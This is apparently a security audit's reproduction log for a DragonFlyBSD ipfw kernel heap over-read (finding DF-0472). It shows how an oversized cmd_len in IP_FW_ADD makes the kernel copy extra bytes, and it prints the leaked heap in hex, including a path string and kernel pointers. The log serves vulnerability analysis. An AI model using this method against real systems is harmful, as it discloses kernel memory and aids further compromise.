⬢ DragonFlyBSD Kernel Audit
DF-0472 / run.log
← back to finding ↓ download raw 
kldload_rc=0
=== DF-0472 info-leak reproduction on UNPATCHED #0 module (expect rc=0 + non-zero leaked bytes) ===
[*] struct sizes ok: ipfw_insn=8 ioc_rule=48 cmd_off=36 stride_const=40
[*] raw socket fd=3 (root-only path)
[*] ADD: sending 52 bytes; claims cmd_len=255 (= 1020 bytes of cmd)
[*]     kernel only has 8 bytes of real cmd (1 insn) but will
[*]     krealloc to 1020 and bcopy 1020 bytes -> heap over-read
[+] setsockopt(IP_FW_ADD) rc=0 errno=0 (ok)
[+] getsockopt(IP_FW_GET) rc=0 returned 1108 bytes
[*] rule @ off=0: rulenum=100 cmd_len=255 act_ofs=0 blk=1060 bytes

===== LEAKED RULE cmd region (1020 bytes) =====
    bytes [0..7]  = our MARKER cmd (0xDE 01 ...)
    bytes [8..1019] = LEAKED KERNEL HEAP (krealloc tail + over-read)
     0000: de 01 be ad ef 01 03 02 00 00 00 00 00 00 00 00 
     0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     00a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     00b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     00c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     00d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     00e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     00f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     01a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     01b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     01c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     01d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     01e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     01f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     02a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     02b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     02c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     02d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     02e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     02f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0310: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0320: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0330: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0340: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0350: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0360: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0370: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     0390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     03a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     03b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     03c0: 00 2f 72 6f 6f 74 2f 2e 73 73 68 2f 61 75 74 68 
     03d0: 6f 72 69 7a 65 64 2f 72 6f 6f 74 00 00 00 00 00 
     03e0: 00 00 00 00 00 00 00 00 00 00 00 00 60 5a 11 81 
     03f0: ff ff ff ff 20 5a 11 81 ff ff ff ff 

[+] LEAK SUMMARY: 42 / 1012 bytes non-zero in leaked region
[+] first non-zero leaked byte at cmd[961], last at cmd[1019]
[+] sample (cmd[8..47], the over-read boundary area): 00000000000000000000000000000000000000000000000000000000000000000000000000000000

[*] rule @ off=1060: rulenum=65535 cmd_len=2 act_ofs=0 blk=48 bytes
leak_rc=0